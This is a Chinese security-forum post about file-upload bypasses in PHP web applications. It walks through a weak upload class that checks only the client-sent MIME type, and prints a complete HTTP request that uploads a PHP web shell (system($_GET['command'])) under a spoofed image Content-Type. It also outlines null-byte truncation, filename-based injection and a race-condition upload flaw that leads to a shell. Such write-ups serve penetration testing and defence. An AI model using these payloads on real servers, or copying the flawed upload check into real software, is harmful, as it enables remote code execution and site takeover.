出处: 九零SEC
连接：http://forum.90sec.org/forum.php?mod=viewthread&tid=8059

/**     *获取客户端IP地址     */    public static function getip() {        $onlineip = ‘‘;        if (getenv(‘HTTP_CLIENT_IP‘) && strcasecmp(getenv(‘HTTP_CLIENT_IP‘), ‘unknown‘)) {            $onlineip = getenv(‘HTTP_CLIENT_IP‘);        } elseif (getenv(‘HTTP_X_FORWARDED_FOR‘) && strcasecmp(getenv(‘HTTP_X_FORWARDED_FOR‘), ‘unknown‘)) {            $onlineip = getenv(‘HTTP_X_FORWARDED_FOR‘);        } elseif (getenv(‘REMOTE_ADDR‘) && strcasecmp(getenv(‘REMOTE_ADDR‘), ‘unknown‘)) {            $onlineip = getenv(‘REMOTE_ADDR‘);        } elseif (isset($_SERVER[‘REMOTE_ADDR‘]) && $_SERVER[‘REMOTE_ADDR‘] && strcasecmp($_SERVER[‘REMOTE_ADDR‘], ‘unknown‘)) {            $onlineip = $_SERVER[‘REMOTE_ADDR‘];        }        return $onlineip;　　}

class upload {    private $allow_image_type = array(‘image/jpg‘, ‘image/gif‘, ‘image/png‘, ‘image/pjpeg‘);......    function img_upload($file, $dir = ‘‘, $imgname = ‘‘){        if(empty($dir)){            $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";        }else{            $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";        }           if(!file_exists($dir)){            if(!mkdir($dir)){                showmsg(‘上传过程中创建目录失败‘);            }        }        if(empty($imgname)){            $imgname = $this->create_tempname().$this->get_type($file[‘name‘]);        }        $imgname = $dir . $imgname;        if(!in_array($file[‘type‘],$this->allow_image_type)){             //只是检测了文件头部来着，那我们就直接构造一个SHELL就好了            showmsg(‘不允许的图片类型‘);        }}

Payload:
            然后我们可以将request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原为Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET[‘command‘]);?>
            --xYzZY--

 3.服务器检测绕过(目录路径检测)
            Filename 可以控制，直接进行%00截断看看能不能搞定

     4.文件名检测
            下面就是去检测:$_FILES["file"]["name"]
            再次注意:如果文件名进入数据库也有可能造成注入的。

        
    5.文件上传逻辑漏洞
            http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
            不得不又一次膜拜p神......
            文件上传，支持zip上传，但是这个phpcms没有对子目录下的文件，进行验证。导致getshell
            而且有了一个竞争上传的概念。。。。
            文件是先在服务器存在了，然后再验证文件名的可靠性。不合法就删除。那就出现问题了，在存在时候，我们可以一整去访问这个php，而这个php的功能就是写马。这样就可以成功getshell了。。。。